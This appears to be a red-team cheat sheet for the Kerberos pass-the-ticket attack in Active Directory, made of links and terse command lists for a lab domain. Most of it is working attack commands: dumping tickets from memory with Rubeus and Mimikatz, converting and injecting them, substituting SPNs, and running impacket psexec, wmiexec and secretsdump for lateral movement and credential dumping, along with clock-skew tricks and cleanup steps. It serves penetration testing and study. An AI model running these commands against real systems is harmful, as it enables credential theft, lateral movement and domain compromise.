Resources
- Technology
- SPNs : https://adsecurity.org/?page_id=183
- Sacrificial Session : https://web.archive.org/web/20240714192131/https://unshade.tech/sacrificial-session
- Offensive
- By crimsonlabs : https://crimsonlabs.io/posts/pass-the-ticket/
- By hacking_articles : https://www.hackingarticles.in/lateral-movement-pass-the-ticket-attack/ || https://www.hackingarticles.in/a-detailed-guide-on-rubeus/
- By tw1sm : https://tw1sm.github.io/2021-02-01-kerberos-conversion/
- By netwrix : https://www.netwrix.com/pass_the_ticket.html
- By darkoperator : https://darkoperator.github.io/mimikatz-missing-manual/26-Kerberos-Tickets-Pass-the-Ticket/
Cheat Sheet
- By snovvcrash : https://ppn.snovvcra.sh/pentest/infrastructure/ad/lateral-movement/ptt
- By benheater : https://notes.benheater.com/books/active-directory/page/pass-the-ticket
- By thehacker.recipes : https://www.thehacker.recipes/ad/movement/kerberos/ptt
- By viperone : https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/lateral-movement/alternate-authentication-material/wip-pass-the-ticket
Commnds
- Technical
- Setup
- Runas
runas /user:redteamrecipes.com\tsoprano powershell.exe
- Runas
- Setup
- Recon
- LOTL
- klist
klist - Win32_LogonSession
Get-CimInstance -ClassName Win32_LogonSession | ForEach-Object { $Luid = [System.Convert]::ToString([int64]$_.LogonId, 16) $User = $_ | Get-CimAssociatedInstance -ResultClassName Win32_Account -ErrorAction SilentlyContinue [PSCustomObject]@{ LUID = "0x$Luid" UserName = $User.Name Domain = $User.Domain Type = $_.LogonType }
- klist
- Rubues
.\Rubeus.exe triage .\Rubeus.exe triage /service:cifs .\Rubeus.exe klist .\Rubeus.exe klist /luid:0x549f77 - Mimikatz
privilege::debug # get SeDebugPrivilege sekurlsa::tickets # sekurlsa uses memory reading and is not subject to key export restrictions. kerberos::list # Only for the current user token
- LOTL
- Generating
- Impacket
- TicketConverter
impacket-ticketConverter Tsoprano@krbtgt-REDTEAMRECIPES.COM.kirbi Tsoprano.ccache- Importing
export KRB5CCNAME=$(pwd)/Tsoprano.ccache
- Importing
- getTGT
sudo ntpdate 192.168.99.30 && impacket-getTGT 'redteamrecipes.com/fmoheb' -hashes :70acaa6bad1c4d34405f748f3fa4a9d1 -no-pass -dc-ip 192.168.99.30 export KRB5CCNAME=fmoheb.ccache ntpdate -u 192.168.99.30 && impacket-getTGT 'redteamrecipes.com/tsoprano:Password123#t' -dc-ip 192.168.99.30
- TicketConverter
- Rubues
.\Rubeus.exe dump /luid:0x6c2cd1 /service:krbtgt /nowrap [IO.File]::WriteAllBytes("C:\Tsoprano.kirbi", [Convert]::FromBase64String("doI.."))
- Impacket
- Dumping
- Rubues
.\Rubeus.exe dump /luid:0x3e7 /nowrap .\Rubeus.exe dump /service:krbtgt /nowrap .\Rubeus.exe dump /luid:0x549f77 /service:cifs /nowrap - Mimikatz
kerberos::list /export # export sekurlsa::tickets /export # Export all tickets needs privilege::debug
- Rubues
- Passing
- Rubues
.\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show /ticket:doIGSzCCBkegAwIBBaEDAgEWooIFMzCCBS9hggUrMIIFJ6A..... .\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show /ticket:'./output.kirbi' /show .\Rubeus.exe /ptt /ticket:doIGdDCCBnCgAwIBBa... .\Rubeus.exe ptt /luid:0x10888c /ticket:./output.kirbi # inject in luid session [maybe mine mabe not] (From klist ) this need admin [https://web.archive.org/web/20240714192131/https://unshade.tech/sacrificial-session]- Substitute SPNs
.\Rubeus.exe tgssub /altservice:http/rtr-dc /ticket:doIGdDCCB... /ptt # Note i'm not writing rtr-dc.redteamrecipes.com or the IP Enter-PSSession -ComputerName rtr-dc
- Substitute SPNs
- Mimikatz
kerberos::ptt C:\Users\htb-student\Desktop\output.kirbi token::elevate /domain:redteamrecipes.com /user:tsoprano # Direct Impersonation - Impacket
- smbclient
impacket-smbclient -k -no-pass redteamrecipes.com/tsoprano@rtr-dc.redteamrecipes.com - psexec
ntpdate -u 192.168.99.30 && impacket-psexec -k -no-pass REDTEAMRECIPES.COM/tsoprano@rtr-dc.redteamrecipes.com - secretdump
ntpdate -u 192.168.99.30 && impacket-secretsdump -k -no-pass REDTEAMRECIPES.COM/tsoprano@rtr-dc.redteamrecipes.com - wmiexec
impacket-wmiexec -k -no-pass REDTEAMRECIPES.COM/tsoprano@rtr-dc.redteamrecipes.com
- smbclient
- Rubues
- Tricks
- Time
sudo ntpdate -u 192.168.99.30 sudo timedatectl set-ntp off # if u ran from virtualmachine sudo date -s "13:20:00" - Sacrificial Process
- Rubues
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show - Mimikatz
misc::cmd
- Rubues
- Describe
.\Rubeus.exe describe /ticket:doIGdDCCBnCgAwIBB...... klist -c tsoprano.ccache - Renew
- Rubeus
Rubeus.exe renew /ticket:doIF3jCCBdqgAwIB - Impacket
while true; ntpdate -u 192.168.99.30 && do KRB5CCNAME=Tsoprano.ccache impacket-getST -k -no-pass redteamrecipes.com/tsoprano -spn krbtgt/redteamrecipes.com -dc-ip 192.168.99.30 -renew; sleep 3600; done
- Rubeus
- CleanUp
klist purge Rubeus.exe purge mimikatz # kerberos::purge
- Time
Notes
General Tips
- Don’t use
createnetonlywith TGs- Try not to use Mimikatz in PTT
Troubleshooting Common Errors
Error Cause Fix KDC_ERR_ETYPE_NOSUPPTicket encryption type not supported by DC/Linux Make sure krb5.confallowsaes256-cts-hmac-sha1-96; removeallow_weak_cryptoor similar.Kerberos SessionError: KRB_AP_ERR_SKEWClock skew too large Sync time with DC: ntpdate -u rtr-dc[-] SMB SessionError: STATUS_ACCESS_DENIEDTicket valid but user lacks permissions Tsoprano might not have admin rights on DC; try \\rtr-dc\onlyt(which you know works).klist: No credentials cache foundKRB5CCNAMEnot setexport KRB5CCNAME=/path/to/tsoprano.ccache.kirbiticket fails after conversionMimikatz corrupted the session key type Use getTGT.pyto request a fresh TGT with password/hash; do not rely on converted.kirbi.
